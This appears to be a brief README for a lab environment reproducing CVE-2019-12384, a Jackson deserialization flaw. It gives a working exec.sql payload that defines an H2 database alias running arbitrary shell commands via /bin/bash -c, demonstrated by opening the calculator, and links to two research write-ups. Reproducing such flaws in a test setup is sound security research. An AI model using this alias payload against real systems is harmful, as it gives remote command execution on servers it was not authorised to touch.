
CVE-2019-12384 漏洞测试环境
Import the project into IDEA, configure Maven to automatically import dependencies, then write the following file into a local empty web directory and save it as exec.sql. Start an HTTP server:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"/bin/bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\0A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('open /Applications/Calculator.app')
Please modify the corresponding parts in the code to adapt to different operating system environments.
You can see the calculator pop up.
https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html